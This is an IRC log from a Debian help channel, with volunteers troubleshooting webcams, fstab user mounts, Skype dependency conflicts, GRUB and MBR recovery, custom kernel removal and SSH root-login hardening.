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| 00:22.15 | srged | Hi, Im on wheezy on an old vaio. What app should I use to use the builtin webcam as a recording device? |
| 00:23.07 | dondelelcaro | srged: depends what you want to do with it, but anything that supports v4l (assuming you have a /dev/video0 device) will work |
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| 00:23.34 | slowmc | srged : have a look at VLC (+ dondelelcaro is right) |
| 00:24.14 | srged | dondelelcaro: slowmc I want to make it a spy device. to secretly record |
| 00:24.20 | srged | know any app? |
| 00:24.28 | slowmc | lol |
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| 00:29.44 | dondelelcaro | srged: uh... it's probably illegal in your jurisdiction to do that. But see motion if what you really mean is that you want a security camera. |
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| 00:30.47 | srged | dondelelcaro: ok thx |
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| 00:32.30 | Praka | Hi I want to automatically run tilda when dabian start, Any help? |
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| 00:33.29 | Praka | I did a script which runs tilda. Can I use it to do I want? |
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| 00:34.38 | srged | is the driver for my builtin webcam aready included in wheezy ? |
| 00:34.43 | jhonmark | Praka: wheezy or jessie? |
| 00:35.10 | Praka | Ermmm debian 7 fulxbox |
| 00:35.18 | unclezipper | Praka: Put it in your .xinitrc |
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| 00:35.29 | jhonmark | or rc.local? |
| 00:35.36 | jhonmark | what is tilda? sorry |
| 00:35.46 | Praka | Console emulator |
| 00:36.00 | jhonmark | ok nvm, xinitrc |
| 00:36.18 | Praka | Is xinitrc a folder? |
| 00:36.28 | unclezipper | jhonmark: It lets you specify a hotkey to make a terminal drop down from the top of the screen |
| 00:36.55 | unclezipper | Praka: It's a script that's executed when X starts... try this |
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| 00:37.14 | Akuw | hi |
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| 00:37.39 | unclezipper | printf "\ntilda &> /dev/null&\n" >> ~/.xinitrc |
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| 00:38.21 | unclezipper | Oh wait... it's a terminal emulator. Take out "&> /dev/null" |
| 00:39.02 | Akuw | i can't print with my HP Laserjet P1005. I installed drivers and print one time, but later, can never print again |
| 00:39.26 | Praka | only tilda? |
| 00:39.30 | srged | is the driver for my builtin webcam aready included in wheezy ?how can i test it? |
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| 00:40.00 | unclezipper | Praka: printf "\ntilda&\n" >> ~/.xinitrc |
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| 00:40.28 | jhonmark | Praka: is a file, in your home |
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| 00:40.41 | Praka | Ok |
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| 00:45.56 | abrotman | srged: cheese |
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| 00:46.04 | srged | VLC is unable to open the MRL 'v4l2://'. Check the log for details. |
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| 00:46.36 | abrotman | or do whatever you want |
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| 00:48.56 | srged | abrotman: |
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| 00:49.12 | srged | what I want is to see my webcam recording... im om wheezy |
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| 00:53.51 | Praka | sorry, the file doesn't exist |
| 00:54.23 | Praka | It is not in root, home or user folder |
| 00:54.33 | Praka | neither on / |
| 00:54.41 | srged | how do I find my video device name? |
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| 00:57.34 | ctmjr | srged, lspci or lsusb depends on how it is connected |
| 00:57.55 | srged | ctmjr: its the builtin cam of my laptop |
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| 00:58.47 | ctmjr | lspci will help you |
| 01:00.13 | srged | ctmjr: http://paste.debian.net/127070/ |
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| 01:03.30 | srged | ctmjr: did u see? |
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| 01:05.08 | cafuego | srged: You need to run 'lsusb' not 'lspci'. |
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| 01:06.18 | srged | cafuego: http://paste.debian.net/127072/ |
| 01:06.34 | cafuego | Yes? |
| 01:07.00 | Praka | Hey I type on terminal and now I can start graphic mode |
| 01:08.06 | srged | cafuego: so the camera is there.how do i find the video device name. |
| 01:10.29 | cafuego | srged: depends on the driver, usually /dev/video/somwthing |
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| 01:14.22 | reavengrey | Ayo, real talk, can I do something like, backport libc6 from backports or something? |
| 01:14.34 | reavengrey | I want libc-2.15 |
| 01:14.48 | reavengrey | And debian stable has glibc-2.13 |
| 01:15.07 | Akuw | i can't print with my HP Laserjet P1005. I installed drivers and print one time, but later, can never print again |
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| 01:16.12 | jhonmark | aw I had that printer |
| 01:16.26 | abrotman | reavengrey: it generally ends in tears, but go ahead and try, backup your data first |
| 01:16.35 | jhonmark | however I am talking like 4 years ago and I didn't do it in the official way |
| 01:17.07 | reavengrey | k, ty |
| 01:17.22 | abrotman | reavengrey: it's not in backports, you'll have to destroy your OS on your own |
| 01:17.46 | reavengrey | Thanks, that's what I wanted to hear |
| 01:17.48 | reavengrey | :') |
| 01:19.00 | zerick | Is it possible to obtain source from a .deb file ? |
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| 01:20.00 | reavengrey | apt-get source foo |
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| 01:24.28 | zerick | reavengrey, not source repository, that's why I'm asking |
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| 01:33.37 | Resilience | hello to everyone |
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| 01:35.42 | Resilience | I would like that users would be able to mount partitions of fixed disks at will, so I hace changed the /etcc/fstab file, but it does not work, the line that I hacve added is this UUID=560810AE08108F5D /mnt/sda3 ntfs-3g rw,user,noauto,windows_names,locale=en_US.utf8 0 0 what's wrong? why my user can still noto mount the sda3 partition? |
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| 01:39.18 | jhonmark | !paste |
| 01:39.19 | dpkg | Do not paste more than 2 lines to this channel. Instead, use: http://paste.debian.net/ http://pastie.org/ or http://picpaste.com/ for pics. Use wikisend.com for large files (think tar.gz) up to 100MB. Remember to tell us the URL of your paste! Cannot cut and paste? Ask me about <pastebinit>, <nopaste>, <wgetpaste>. |
| 01:40.53 | Resilience | jhonmark, thanks, it was just one line of configuration, not a file, and I culd have split it in two lines, but did not want to, but thanks ;D |
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| 01:43.34 | jhonmark | Resilience: the user have permisions over the /mnt/sda3? |
| 01:44.41 | Resilience | jhonmark, yes, it has, I think so, I'm going to umount it and verify it |
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| 01:45.51 | Resilience | jhonmark, yes, it has permissions |
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| 01:46.36 | Resilience | jhonmark, but when i run mount it says mount: only root can do that :( it is aproblem with mount permissions I assume |
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| 01:47.44 | jhonmark | Resilience: I had the same problem and was juust the folder, are you sure that users have permisions over it? :( |
| 01:47.55 | karlpinc | Resilience: Put your users in the right group. IIRC it's the pmount group, could be wrong |
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| 01:48.07 | karlpinc | !tell Resilience about groups |
| 01:48.09 | jhonmark | karlpinc: pmount is for pendrive IIRC |
| 01:48.21 | karlpinc | jhonmark: Should work for anything. |
| 01:48.38 | jhonmark | I remember trying to mount a partition with pmount and failed |
| 01:48.38 | karlpinc | jhonmark: I think. Lemme look. |
| 01:48.46 | jhonmark | I could be wrong |
| 01:49.21 | Resilience | jhonmark, sure, see ls -l /mnt --> drwxr-xr-x 2 <USER> <USER> 4096 Oct 14 19:10 sda3 (son't want to disclose my user, sorry) |
| 01:50.19 | karlpinc | jhonmark: It's the plugdev group. And there's a whitelist for pmount in /etc/pmount.allow See man pmount. |
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| 01:50.43 | karlpinc | Resilience: So, the plugdev group is probably the right way to go. |
| 01:50.44 | jhonmark | karlpinc: ohh I'll check |
| 01:51.21 | Resilience | karlpinc, I'm yet in the plugdev group |
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| 01:52.17 | karlpinc | Resilience: Have you frobbed /etc/pmount.allow? |
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| 01:52.34 | Resilience | karlpinc, y should use pmount instead of mount? |
| 01:52.43 | jhonmark | Resilience: have you restarted the sesion since the group modification? |
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| 01:53.03 | Resilience | jhonmark, group modification was more than a year ago, so I think yes ;D |
| 01:53.23 | karlpinc | Resilience: pmount is for allowing ordinary users to do mount-ish things that usually only root can do. |
| 01:54.20 | karlpinc | Resilience: It gives you some control. If you really don't want that control there might be another approach. But I'd be leery of granting the users unexpected permissions to do other non-mount-ish things. |
| 01:54.48 | Resilience | karlpinc, what other things? |
| 01:55.21 | karlpinc | Resilience: Well, if you, just saying, put all the users in the root group then they might (or might not) be able to frob system binaries. |
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| 01:56.09 | Resilience | karlpinc, I would never think of putting no user into root group xD |
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| 01:56.45 | karlpinc | Resilience: My point being that pmount is likely the right tool for the job. |
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| 01:57.23 | Resilience | karlpinc, I accpet that, I would give a try righ tnow, but, I would like to know if there could be some other unixy way to do it |
| 01:57.52 | karlpinc | Resilience: Let me read back and see what your real goal is. |
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| 01:58.51 | Resilience | karlpinc, easy, I have two hd's, on elinux and one windows, I would like to be able to mount and umount windows partitios at will by the users, (in fact, only real suer me) withoput using root user, that's all |
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| 02:01.36 | karlpinc | Resilience: Offhand, I can't think of another way. You might be able to get away with frobbing the permissions/ownership of the device special files but that's just going to make your life complicated at some future point, likely. |
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| 02:02.17 | karlpinc | Resilience: Ah, man mount says that you can use the "unhide" option to allow normal users to mount. |
| 02:02.37 | Resilience | karlpinc, yes, but years ago (more than ten) I was able to od it with a graphical assistant under fvwm2... so there must be a way to do it... |
| 02:02.50 | jhonmark | hope you guys resolve that |
| 02:02.51 | jhonmark | gtg |
| 02:02.56 | karlpinc | Resilience: |
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| 02:03.16 | karlpinc | Better read the man page. It also says you can use "users" instead of "user" in fstab.... |
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| 02:04.36 | karlpinc | Resilience: Probably your missing "unhide". Frobbing fstab seems simpler.... |
| 02:05.06 | Resilience | karlpinc, I'm going the etc fstab route... but it says nothing about unhide, only about user |
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| 02:07.01 | karlpinc | Resilience: It's man mount that talks about unhide. The mount options are more "global" than just fstab. |
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| 02:09.11 | Resilience | karlpinc, when it says user as options it means user and not the username right? |
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| 02:26.41 | tmba | hi people, anyone have issues installing skype on wheeezy? I'm just wondering if there are any known issues or if its just on my side. Googling is giving a variety of results... not so easy to know if they are recent or not |
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| 02:37.12 | ojaito | tmba: it's been a while now, but I had success, but struggled a bit to get it working with my camera (an old microsoft webcam w/mic) |
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| 02:38.28 | karlpinc | Resilience: Looks like I read that "unhide" wrong. I seem to be making mistakes today. Anyhow, to get more help it'd be good to know what you typed and what output came out. |
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| 02:39.25 | tmba | ojaito: I see. Well I cant even install. |
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| 02:40.52 | tmba | ojaito: following the instructions on skype.com is certainly not working. I've enabled multiarch, and tried to install using dpkg -i skype.deb, then apt-get install -f . At that point apt-get just wants to remove the unfinished skype install |
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| 02:50.54 | ojaito | tmba: hold on a second -- I will check my notes |
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| 02:51.32 | somiaj | tmba: you got the version for debian wheezy, not some other .deb. Also might be the newer skype now depends on pulseaudio and other things that use to be optional. |
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| 02:54.17 | ojaito | tmba: I have some notes you may find useful; being a noob to irc, i don't know the most practical way to post them/send them to you. I found this resource useful: https://wiki.debian.org/skype |
| 02:55.38 | somiaj | ojaito: you can share text notes via a pastebin like paste.debian.net |
| 02:55.45 | ojaito | I had to preload v4l compatibility, which is described at that URL |
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| 02:57.50 | magyar | hi, is there a fix list for CVE-2014-3566 for debian? |
| 02:57.52 | ojaito | tmba: ok, I posted it at http://paste.debian.net/127082/ |
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| 03:01.08 | somiaj | magyar: https://security-tracker.debian.org/tracker/CVE-2014-3566 doesn't look like there has been one backported |
| 03:01.54 | tmba | ojaito: thanks for that, but its not so smooth here. Like I mentioned it does not even install. |
| 03:02.14 | magyar | somiaj: I like this site >> http://askubuntu.com/questions/537196/how-do-i-patch-workaround-sslv3-poodle-vulnerability-cve-2014-3566 |
| 03:02.21 | magyar | but that is for ubuntu |
| 03:03.35 | ojaito | if it doesn't install after those steps (even after apt-get -f install), I'm not sure what to do. :( |
| 03:03.36 | somiaj | magyar: that is the same suggestion given on the tracker page I linked. Disable sslv3 on any serverice that may use it. |
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| 03:04.14 | somiaj | magyar: and disabling sslv3 would probabaly be similar enough on ubuntu vs debian that link you gave could giv eyou pointers |
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| 03:04.38 | magyar | thanks somiaj |
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| 03:06.05 | gerforce | hello, i have a dual system (win7 + debian) on my laptop. I want to reinstall win7 so i backup the MBR with command "sudo dd if=/dev/sda1 of=mbr.bak bs=512 count=1". After win7 reinstalled, i recover the MBR with "sudo dd if=mbr.bak of=/dev/sda1 bs=512 count=1". But i cannot boot win7, error message is "error: no such device: D64EC9CD4EC9A699" |
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| 03:06.55 | heurist | gerforce: are you using grub as your bootloader? |
| 03:06.57 | gerforce | i am using grub. what's wrong? |
| 03:07.04 | gerforce | heurist: yes |
| 03:07.26 | somiaj | gerforce: might be worthwhile booting into your debian system and reinstalling grub intot he mbr and rerunning the update program so grub detects this new win7 install and correctly sets it up |
| 03:07.44 | heurist | gerforce: boot linux, reinstall grub using grub-install /dev/sda then run update-grub |
| 03:07.49 | somiaj | so update-grub and then grub-install /dev/sda |
| 03:08.10 | qman__ | gerforce: you may have changed your partition table; the bootstrap section is only the first 446 bytes, 447-512 is the partition table |
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| 03:08.55 | tmba | all righty, so this is strange.. While trying to install skype, I noticed it wants libqt4-dbus:i386.. which depends on libdus-1-3 (NOT :i386) further down.. AND ALSO libdbus-1-3:i386.. so these two have conflict I believe |
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| 03:09.10 | gerforce | qman__: yes but i tried to recove the first 446B, result is the same |
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| 03:09.20 | somiaj | tmba: no, with multiarch they shoudl both be intsallable. |
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| 03:09.50 | heurist | gerforce: using dd for that may have broken your windows. because you replaced more than the first 446 bytes. |
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| 03:10.27 | tmba | somiaj: hmm, it says libdbus-1-3 recommends dbus which would break libdbus-1-3:i386 |
| 03:10.30 | somiaj | gerforce: yea in general I suggest just useing a resuce image and reinstalling grub to the mbr over trying to copy the old mbr. |
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| 03:11.04 | somiaj | tmba: hmm, well recomends are not required, maybe try this apt-get --no-install-recommends -f install |
| 03:11.15 | heurist | gerforce: do the steps somiaj and I mentioned, if you still can not boot windows you may need to reinstall again and then do them. recovering the messed up partitions may be more work than reinstalling |
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| 03:12.12 | gerforce | i will try first. And i also want to know more about the mechanism |
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| 03:12.37 | gerforce | thank you! heurist somiaj qman__ |
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| 03:15.20 | catia | is it possible that debsums is broken? http://pastebin.com/jBbUv7zF |
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| 03:16.05 | gerforce | heurist: one more question. If i didnot recover MBR with old copy first, i will be unable to boot debian, so i must use a liveCD to install grub? Am i right? |
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| 03:19.09 | tmba | somiaj: it just refuses to. Here is the error I get after some fiddling: http://paste.debian.net/127084/ |
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| 03:22.29 | somiaj | tmba: care to put the output of apt-cache policy at paste.debian.net |
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| 03:22.58 | tmba | somiaj: sure! |
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| 03:23.27 | somiaj | tmba: but the error to me seems to make it look like you are missing some security upgrades. For some reason the conflicting versions oare +deb7u4 and +deb7u3 so your system just seems to be in a weird state and doens't have all the seuciryt upgrades available. |
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| 03:25.44 | somiaj | tmba: unforntally since your apt is in a borken state you may haev to manually fix this slight version issue you have going down. You may need to download libdbus-1-3 both amd64 and i386 the +deb7u4 version and manually install them |
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| 03:26.13 | tmba | somiaj: well if thats all that is needed, I'll be happy to |
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| 03:26.28 | tmba | my apt-cache policy results : http://paste.debian.net/127085/ |
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| 03:28.00 | gerforce | somiaj: when i "sudo grub-install /dev/sdb" ,Searching for GRUB installation directory ... found: /boot/grub |
| 03:28.03 | gerforce | The file /boot/grub/stage1 not read correctly. |
| 03:28.06 | somiaj | tmba: okay youa re missing security.debian.org sources, and you have double mirrors for wheezy both http.us.debian.org and mirror.internode.on.net -- I would disable one of those wheezy mirrors (just incase they are out of sync) but I think if you add security.debian.org sources it may just work |
| 03:28.41 | somiaj | gerforce: I don't know enough about grub here, but looks like something is corrupt and I'm not sure what. |
| 03:28.54 | somiaj | gerforce: grub has been mostly painless for me so not sure why that woudlnt' work. |
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| 03:29.15 | gerforce | somiaj: ok :) |
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| 03:31.49 | tmba | somiaj: damn, some updates coming in after I added security.debian.org and disabled US mirror. Crossing fingers here |
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| 03:37.53 | heurist | gerforce: yes, you will need to boot from a liveCD to reinstall grub, if you can not get into linux. are you sure you are using the correct drive for that grub-install? is /dev/sdb the right drive? |
| 03:38.42 | gerforce | heurist: yes, i'm pretty sure. |
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| 03:39.15 | karlpinc | gerforce: The bios (or whatever) boots from the 2nd drive? |
| 03:39.19 | heurist | gerforce: you are booting from the second disk? |
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| 03:40.38 | gerforce | heurist: in order to recover MBR, i use a usb as a liveCD, and debian recognize that as /dev/sda. |
| 03:40.52 | gerforce | i boot from /dev/sdb, that's right |
| 03:40.58 | gerforce | in bios |
| 03:41.13 | somiaj | did you chroot into your actual install, but that sounds right |
| 03:41.32 | somiaj | well it depends on the machine, some will detect a live cd as /dev/sda, others wont |
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| 03:42.21 | karlpinc | gerforce: Not just "boots from the 2nd drive" but boots from a drive that's (always) detected by the bios as the 2nd drive. Regardless of whether there's a usb stick plugged in? |
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| 03:43.27 | tmba | somiaj: it worked adding security, thanks man! I just started new job and installed debian as workstation in office, you just saved me having to spend work time reinstalling it all :) |
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| 03:44.01 | somiaj | tmba: yea once I saw the actual versions that were conflicting the solution become fairly obious. (: |
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| 03:44.40 | karlpinc | Otherwise, when installing grub you need to tell it not only where to put the MBR based on what the drives currently look like, but also what the drives will look like when the system actually boots. You have to think when there's a difference between the two. :-/ |
| 03:45.08 | gerforce | karlpinc: ok, i will reboot without usb plugging in.BRB |
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| 03:45.15 | gerforce | :) |
| 03:45.23 | gerforce | sudo reboot |
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| 03:49.56 | karlpinc | ugh. For some reason I don't like reading the grub docs. I used to, but then... Probably easier to screw around with the bios to alter drive ordering, and still allow booting from usb, so that the drive order does not change after booting from usb. (Please relay to gerforce) |
| 03:50.17 | gerforce | i am back. same result :The file /boot/grub/stage1 not read correctly. |
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| 04:13.33 | karlpinc | gerforce: That'd be because it's looking for it on sdb but it's really on sda. Any way to frob the bios so that when you boot from the usb stick the internal drive shows up as sda? |
| 04:14.23 | karlpinc | Alternately, you could read the grub docs. It may be that a device map is required, or not. I think not, that you'd do it with grub-setup command line args, but I forget. |
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| 04:27.42 | gerforce | karlpinc: i will read grub docs first. Anyway, thanks a lot. |
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| 04:28.36 | karlpinc | gerforce: The baisc idea is "put it here, but read it back from there.' |
| 04:29.14 | karlpinc | gerforce: You'll need the info docs, or on-line equalivent. |
| 04:30.03 | karlpinc | !ops winniaa is sending PM spam |
| 04:30.03 | dpkg | Hydroxide, dondelelcaro, LoRez, RichiH, mentor, abrotman, Maulkin, stew, peterS, Myon, Ganneff, weasel, zobel, themill, babilen, SynrG, jm_, somiaj, jelly: karlpinc complains about: winniaa is sending PM spam |
| 04:30.23 | themill | hmm? |
| 04:30.32 | karlpinc | I got a pm with link spam from him. |
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| 04:49.25 | qaz | Hi |
| 04:49.39 | qaz | I have a problem with my vpn |
| 04:50.26 | qaz | sometimes I receive Temporary failure in name resolution when I try to connect to the vpn usong openvpn |
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| 04:51.14 | qaz | in this case or 1) reboot the pc or better 2) I rewrite /etc/resolv.con with my router ip (servername 192.168.0.1) |
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| 04:51.36 | qaz | and i run again the openvpn...and in this case I can connect again |
| 04:51.52 | qaz | anyonecan explain why this append? |
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| 04:54.26 | richac | if i'm going to uinstall a kernel, do i dpkg purge or just deinstall? |
| 04:54.33 | qaz | and How I can prevent this? |
| 04:54.55 | qaz | richac: you can purge it |
| 04:55.00 | richac | qaz: tks |
| 04:55.03 | qaz | np |
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| 04:59.55 | richac | qaz: hmm it didn't work, i guess because I installed from my own .deb file not a package? |
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| 05:00.59 | qaz | did you try dpkg --purge package_name? |
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| 05:01.54 | richac | ya |
| 05:02.20 | richac | dpkg: error: you must specify packages by their own names, not by quoting the names of the files they come in |
| 05:02.20 | dpkg | You are person #1 to send an unparseable request, richac |
| 05:02.24 | qaz | and...what dpkg told you? |
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| 05:02.42 | richac | I typed sudo dpkg --purge linux-image-3.14.21-customkernel-grsec_1_amd64.deb |
| 05:03.00 | qaz | try sudo dpkg --purge linux-image-3.14.21-customkernel-grsec |
| 05:03.06 | richac | k |
| 05:03.29 | richac | hmm ok now its saying its not installed |
| 05:04.02 | richac | i had a problem, I resinstalled, but saved the .deb files from my custom kernel, but when I went to install it I got errors |
| 05:04.17 | richac | it showed up in grub, but when loading it all I get is a black screen i had to power off |
| 05:04.28 | qaz | what kind of errors? |
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| 05:04.30 | richac | so I figured maybe i'd have to compile again and i can't use those files on this install |
| 05:04.38 | richac | man i'm trying to remember |
| 05:04.58 | richac | something about missing files man im not sure |
| 05:05.09 | richac | i guess i could try to install it again |
| 05:05.10 | themill | if you're not sure, we can't be. |
| 05:05.46 | qaz | yep give it a try |
| 05:06.12 | richac | lol now the package configuration is saying the directory /lib/modules/3.14.21 exists |
| 05:06.25 | richac | i guess i'll just ignore that its the same one |
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| 05:07.33 | qaz | and dpkg complete the install or give you an error? |
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| 05:07.53 | richac | qaz: Hmm. There is a symbolic link /lib/modules/3.14.21-customkernel-grsec/build However, I can not read it: No such file or directory Therefore, I am deleting /lib/modules/3.14.21-customkernel-grsec/build |
| 05:08.38 | richac | if i try to boot into it i just get a black screen |
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| 05:09.59 | qaz | mmmhh you try to use a customer kernel...what feature you want? |
| 05:10.10 | richac | a what kernel? |
| 05:10.40 | richac | so I guess i just have to compile again? |
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| 05:11.37 | qaz | I mean you want a feature isn't on the debian kernel or just you wnat to create a customized kernel for you computer? |
| 05:11.47 | richac | oh grsecurity |
| 05:12.00 | richac | i could use a mempo kernel, but i'd figure it would be fun to learn how to do it myself |
| 05:12.21 | richac | the kernel works, i just thought i could save the .deb files and use it on a clean install |
| 05:12.23 | richac | guess not |
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| 05:13.26 | Jef91 | when using dpkg --build can I have it specify a compression type other than the default somehow? |
| 05:14.26 | qaz | https://wiki.debian.org/HowToRebuildAnOfficialDebianKernelPackage |
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| 05:49.30 | sickblobs | Does Fedora work on Macbook Pro 8,2? |
| 05:49.42 | sickblobs | Debian* |
| 05:49.44 | sickblobs | sorry |
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| 06:50.26 | Resilience | the xfce4-mount-plugin says Failed to mount device with a user device put in fstabm but when mounting it with mount in a terminal there si no problem, waht can be going worng? |
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| 07:05.09 | karlpinc | Resilience: Maybe it's doing a pmount sorta thing instead of a mount sorta thing? I don't suppose there's anything in dmesg or any of the logs? Try running the plugin from the terminal. ? |
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| 07:05.55 | Resilience | karlpinc, nothing in dmesg |
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| 07:08.14 | Resilience | karlpinc, and I don't know hot to exec it from cli |
| 07:08.41 | karlpinc | Resilience: Look at the icon's properties. It may have a path/to/command or just a command. |
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| 07:10.17 | Resilience | karlpinc, that's a panel plugin.. I don't know if it can be run from terminal |
| 07:10.28 | tsun | Is there a way to completely disable root login? My VPS gave me root to login as, but I made another account with sudoers |
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| 07:11.27 | karlpinc | tsun: If you completely disable it then you can't become root. You probably want to disable remote login as root, yes? |
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| 07:12.10 | tsun | Something like that, for example, if I install a new OS, it has its root disabled (no password and can't login) but able to sudo |
| 07:12.38 | tsun | I tried `sudo passwd -l root` but it did nothing, I was still able to login as root via ssh key(?) |
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| 07:13.21 | karlpinc | tsun: man sshd_config Look at PermitRootLogin. |
| 07:13.35 | tsun | Ah alright |
| 07:13.46 | karlpinc | tsun: But really, ssh logins with keys tend to be, IMO, more secure than sudo. |
| 07:14.10 | tsun | Over to the root account? |
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| 07:14.22 | karlpinc | Resilience: If there's a path you can probably run it from a terminal. |
| 07:14.24 | tsun | Well, I am planning to use a key for the new user but hmm |
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| 07:15.04 | karlpinc | tsun: Sudo gets you to root, remotely, using a single password. It all depends on how you protect your keys. |
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| 07:15.33 | karlpinc | tsun: If the key is passworded then you need both the key and a password. |
| 07:15.33 | tsun | hmm |
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| 07:16.23 | Resilience | karlpinc, no path at all |
| 07:16.24 | tsun | Well I guess, disallow root login -> allow a single user to login -> using a key and a passphrase |
| 07:16.41 | tsun | is that good enough or should I just keep the VPS defaults? key'd root login? |
| 07:16.49 | karlpinc | tsun: I tend to prefer 'su -', which works better than just sudo since it sets up the env etc. appropirately. YMMV. |
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| 07:17.14 | karlpinc | tsun: Often the VPS provider will need keyed root login for backups etc. |
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| 07:17.34 | tsun | I didn't sign up for a backup |
| 07:17.56 | karlpinc | tsun: Depends on the provider, and whether you'll ever rely on them for support. |
| 07:18.06 | tsun | hmm |
| 07:18.20 | karlpinc | tsun: Look at /root/.ssh/authorized_keys and see if there's any clues in there. |
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| 07:18.31 | tsun | I donno, it's cause I keep getting "Failed" logins from random IPs that try to bruteforce the root password |
| 07:18.41 | tsun | oh |
| 07:19.03 | karlpinc | tsun: You can turn off password access. |
| 07:19.15 | Resilience | tsun, and why not just disable the ssh login as root? |
| 07:19.35 | karlpinc | Resilience: That's what we're discussing. |
| 07:19.43 | tsun | I will do that I guess |
| 07:19.58 | tsun | wait, but can I access root via key if I disable it? I doubt it, but again |
| 07:20.16 | Resilience | if the problem is that you can be logged from otuisde as root, the solution is that you cannot be logged as root, not disabling system login root man |
| 07:20.24 | karlpinc | tsun: You can disable it for all but key access. Or other variations. |
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| 07:20.36 | cloudowi1d | does kernel driver means a module? |
| 07:20.47 | bezaban | just to add another method to the mix, you can have key authentication via agent on a user account and then setup PAM to allow sudo by key auth |
| 07:20.47 | Resilience | cloud99, yes |
| 07:20.53 | karlpinc | cloudowi1d: No. They can be complied in. |
| 07:21.21 | tsun | hmm |
| 07:21.25 | karlpinc | likes one time passwords. Yubikeys are cute too. |
| 07:21.35 | cloudowi1d | so then Kernel driver in use: e1000e |
| 07:21.36 | Resilience | cloudowi1d, karlpinc it is right, me worng |
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| 07:22.23 | tsun | I guess I'll copy the `authorized_keys` to the new user that I created, disable root login from sshd_config and login to that user from now on |
| 07:22.25 | cloudowi1d | ok so it can be part of kernel instead of a module |
| 07:22.38 | cloudowi1d | and then that e1000e is one of them |
| 07:22.46 | karlpinc | tsun: Just make your new user your own key. |
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| 07:22.50 | cloudowi1d | which use my ethernet thingi |
| 07:22.56 | karlpinc | cloudowi1d: yes. |
| 07:23.01 | cloudowi1d | thank you sirs |
| 07:23.08 | tsun | oh a new one you mean? |
| 07:23.12 | karlpinc | cloudowi1d: Although it's probably a module. |
| 07:23.15 | karlpinc | tsun: yes. |
| 07:23.19 | tsun | ah I see |
| 07:23.23 | cloudowi1d | i will see with lsmod |
| 07:23.29 | karlpinc | tsun: ssh-keygen |
| 07:23.45 | tsun | yup. Does the file name matter? Right? |
| 07:23.51 | karlpinc | tsun: Although you could use putty too, or something else. |
| 07:24.06 | tsun | I'm kinda used with default terminal, but hmm |
| 07:24.23 | karlpinc | tsun: File name does not matter, although there are some defaults if you're ssh-ing from a linux host so that you pick up the key automatically. |
| 07:24.32 | cloudowi1d | hey karlpinc if its an internel driver compiled internally with kernel then i shouldnt be seein it with lsmod right? |
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| 07:24.45 | karlpinc | cloudowi1d: right. |
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| 07:25.14 | cloudowi1d | thank you |
| 07:25.20 | Resilience | I think that there are a minimal number of internal compiled drivers ;D |
| 07:25.25 | tsun | karlpinc: By that, I mean there are 2 rsa.pub keys already in my .ssh directory, each should have their own name, like <server>_rsa.pub, correct? |
| 07:25.26 | Resilience | maybe vt and stop |
| 07:25.31 | karlpinc | tsun: Use ssh-keygen then. Putty's pretty much for non-unix. |
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| 07:25.43 | cloudowi1d | thanks Resilience |
| 07:26.16 | karlpinc | tsun: If you put the rsa.pub key into ~/.ssh/authorized_keys on the remote end, you can use your default identity to login. |
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| 07:26.36 | tsun | hmm alright |
| 07:27.01 | karlpinc | tsun: No point in having a lot of identities. Have one and keep it safe. |
| 07:27.29 | karlpinc | (YMMV.) |
| 07:27.51 | tsun | karlpinc: Oh, that will be like logging into different boxes with the same passphrase. Neat. |
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| 07:28.25 | Resilience | there is someway to have gvfs and things like that without having systemd installed and corrupting my machine? |
| 07:28.38 | karlpinc | tsun: But better since the passphrase can be captured by the remote end and used to impersonate you, but the public key can't. |
| 07:29.21 | tsun | karlpinc: You mean as a Man in the Middle attack? |
| 07:29.30 | karlpinc | Resilience: Dunno, but I hear that debian is moving to systemd in jessie. Could be wrong. |
| 07:29.42 | karlpinc | tsun: No. Man at the other end attack. |
| 07:29.56 | tsun | My VPS? |
| 07:29.58 | karlpinc | tsun: (Although mtm too, I suppose.) |
| 07:30.03 | karlpinc | tsun: Sure. |
| 07:30.05 | tsun | lolz |
| 07:30.14 | tsun | pass pharses can be captured in a MitM attack? |
| 07:30.27 | karlpinc | tsun: With ftp. :-) |
| 07:30.32 | tsun | x_x |
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| 07:30.38 | tsun | ooh |
| 07:30.45 | Resilience | karlpinc, yes, I am using testing, but the problem is that I don't want systemd in my ststem, so I am usin sysvinit-core... but as systemd has metastized everything under freedesktop... well, things is just a little bi miserable, because things in freedesktops are not donde the right way... |
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| 07:31.36 | karlpinc | Resilience: Dunno. That could be what's wrong with your mounting too. Testing breaks. Have you checked the bug tracking system? |
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| 07:32.33 | tsun | karlpinc: Well, I don't know how to get a public key thing, but I'll try it out in the weekend. Gotta study for a midterm tomorrow. I sure hope nothing wrong goes on :o |
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| 07:32.47 | Resilience | karlpinc well.. the roblem is that mount /dev7sdc1 works... and oh man, really freedesktop folaks cannot do a program that 1) exec that line and 2) wirte a log on somewhere to read it? |
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| 07:34.30 | karlpinc | Resilience: It's probably calling a system call somewhere. You'd have to read the code to see what,which could reveal that, say, it's relying on pmount (or whatever's under the covers) and so you really do need to configure pmount to allow user access. |
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| 07:35.40 | karlpinc | Resilience: I'm only guessing, but it is the kind of thing that would use pmount-like functionality. |
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| 07:36.37 | Resilience | karlpinc, you are very new to linux right? I was user mounting devices at will with mount.app in gnustep since year 2000... |
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| 07:36.54 | karlpinc | Resilience: I started with Linux in '93. |
| 07:37.10 | bolt | ooh. this is almost better than uptime wars |
| 07:37.17 | bolt | grabs popcorn |
| 07:37.26 | Resilience | and don't you feel like something is worng here? the edsktop environment from freedesktop is no more auditable |
| 07:37.29 | aicra | grabs a slushie |
| 07:37.45 | karlpinc | Resilience: I try to avoid the desktop. |
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| 07:38.06 | karlpinc | Resilience: It peaked about '98 and the interfaces have gotten worse. |
| 07:38.15 | Resilience | karlpinc, I'm thinking abour reverting again to gnustep or fvwm2... |
| 07:38.23 | Resilience | the problem are not interfaces |
| 07:38.29 | Resilience | the problem is the infection in the system |
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| 07:38.40 | Resilience | with systemd and the policykits |
| 07:38.43 | themill | points the impending rant off to /dev/null |
| 07:38.46 | Resilience | nothing is auditable |
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| 07:38.59 | Resilience | nothing is understandable |
| 07:39.01 | karlpinc | Resilience: It is for me. I can't even find something with windows with borders that are >1 pixel, for easy grabbing. |
| 07:39.04 | babilen | How would I pin to allow for installations from squeeze-lts and squeeze (to make sure that packages installed from squeeze-lts are installed if available) on a wheezy box? I've tried n=squeeze and n=squeeze-lts? They changed the identifier for some reason and i am seeing the following: https://www.refheap.com/91796 - It might be the lack of coffee, but what can I do about that? |
| 07:39.07 | Resilience | there is no documentation about how things are done |
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| 07:39.32 | karlpinc | babilen: Lordy, still working on that? |
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| 07:39.54 | babilen | you mean ever since yesterday? |
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| 07:40.17 | babilen | karlpinc: Well, I had a good night sleep in the interim, but I'm still not entirely sure what's up this morning |
